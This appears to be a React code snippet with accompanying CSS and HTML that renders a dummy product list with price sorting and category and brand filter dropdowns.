const {useState, useEffect}  = React

const productDataList = {
  "products": [
    {
      "id": 1,
      "title": "Essence Mascara Lash Princess",
      "category": "beauty",
      "price": 9.99,
      "brand": "Essence",
      "thumbnail": "https://cdn.dummyjson.com/products/images/beauty/Essence%20Mascara%20Lash%20Princess/thumbnail.png"
    },
    {
      "id": 2,
      "title": "Eyeshadow Palette with Mirror",
      "category": "beauty",
      "price": 19.99,
      "brand": "Glamour Beauty",
      "thumbnail": "https://cdn.dummyjson.com/products/images/beauty/Eyeshadow%20Palette%20with%20Mirror/thumbnail.png"
    },
    {
      "id": 3,
      "title": "Powder Canister",
      "category": "beauty",
      "price": 14.99,
      "brand": "Velvet Touch",
      "thumbnail": "https://cdn.dummyjson.com/products/images/beauty/Powder%20Canister/thumbnail.png"
    },
    {
      "id": 4,
      "title": "Dior J'adore",
      "category": "fragrances",
      "price": 89.99,
      "brand": "Dior",
      "thumbnail": "https://cdn.dummyjson.com/products/images/fragrances/Dior%20J'adore/thumbnail.png"
    },
    {
      "id": 5,
      "title": "Dolce Shine Eau de",
      "category": "fragrances",
      "price": 69.99,
      "brand": "Dolce & Gabbana",
      "thumbnail": "https://cdn.dummyjson.com/products/images/fragrances/Dolce%20Shine%20Eau%20de/thumbnail.png"
    },
    {
      "id": 6,
      "title": "Annibale Colombo Sofa",
      "category": "furniture",
      "price": 2499.99,
      "brand": "Annibale Colombo",
      "thumbnail": "https://cdn.dummyjson.com/products/images/furniture/Annibale%20Colombo%20Sofa/thumbnail.png"
    },
  ],
  "total": 194,
  "skip": 0,
  "limit": 36
}

const App = () => {

  const [productsLimit, setProductsLimit] = useState(productDataList.limit)
  const [filterData, setFilterData] = useState(productDataList.products || []);
  const [categories, setCategories] = useState([]);
  const [brands, setBrands] = useState([]);

  useEffect(() => {
    let filteredCategories = [],
        filteredBrands = [];
        productDataList.products.forEach((product) => {
      if (!filteredCategories.includes(product.category)) {
        filteredCategories.push(product.category);
      }
      if (!filteredCategories.includes(product.brand)) {
        filteredBrands.indexOf(product.brand) == -1 && product.brand != '' && product.brand != undefined && product.brand != null ? filteredBrands.push(product.brand) : null;
      }
    });
    setCategories(filteredCategories);
    setBrands(filteredBrands);
  }, []);

  const productFilters = (products, filt) => {
    let filteredProducts = [];
    if (categories.includes(filt)) {
      filteredProducts = products.category.toLowerCase() === filt.toLowerCase();
    } else if (brands.includes(filt)) {
      filteredProducts = products.brand === filt;
    }
    return filteredProducts;
  };

  const filter = (byFilter) => {
    if (byFilter) {
      let productsData = [...productDataList.products];
      productsData = productsData.filter((filter) => {
        return productFilters(filter, byFilter);
      });
      setFilterData(productsData);
    } else {
      setFilterData(productDataList.products);
    }
  };

  const sortItems = (e) => {
    console.log('Sort');
      const sortedProducts = filterData.sort((a, b) => {
        if (e.value == "LowToHigh") {
          console.log('sorted low to high');
          if (a.price < b.price) {
            return -1;
          } else {
            return 1;
          }
        } else if (e.value == "HighToLow") {
          console.log('sorted high to low');
          if (a.price > b.price) {
              return -1;
            } else {
              return 1;
            }
        }
      });
      setFilterData(sortedProducts);
  };

  return (

    <div>
      <select id="sortDropDown" onChange={(e) => sortItems(e.target)}>
        <option value="default">Sort by:</option>
        <option value="LowToHigh">Low to high</option>
        <option value="HighToLow">High to low</option>
      </select>
      <select onChange={(e) => filter(e.target.value)}>
        <option value="Filter Categories" selected="selected">Filter by categories</option>
        {categories.map((catFilter) => (
          <option value={catFilter}>{catFilter}</option>
        ))}
      </select>
      <select onChange={(e) => filter(e.target.value)}>
        <option value="Filter Categories" selected="selected">Filter by brands</option>
        {brands.map((item) => (
          <option value={item}>{item}</option>
        ))}
      </select>
      <button onClick={filter}>Clear filter</button>
    


      <div className='products'>

        {filterData?.slice(0, productsLimit).map(product => (
          <div className='product' key={product.id}>
            <div className='productImage'>
              <img src={product.thumbnail} />
            </div>
            <div className='productInfo'>
              <div className='productTitle'>
                <div className='productBrand'>{product.brand}</div> 
                <div className='productName'>{product.title}</div>
                <div className='productName'>{product.title}</div>
              </div>
              <div className='productPrice'>Price: £{product.price}</div>
              {}
            </div>

          </div>
        ))}
      </div>
    </div>
  )
}


ReactDOM.render(<App />, document.querySelector('#root'));
.products {
  display: flex;
  flex-wrap: wrap;
}
<script src="https://cdnjs.cloudflare.com/ajax/libs/react/17.0.1/umd/react.production.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/react-dom/17.0.1/umd/react-dom.production.min.js"></script>

<div id="root"></div>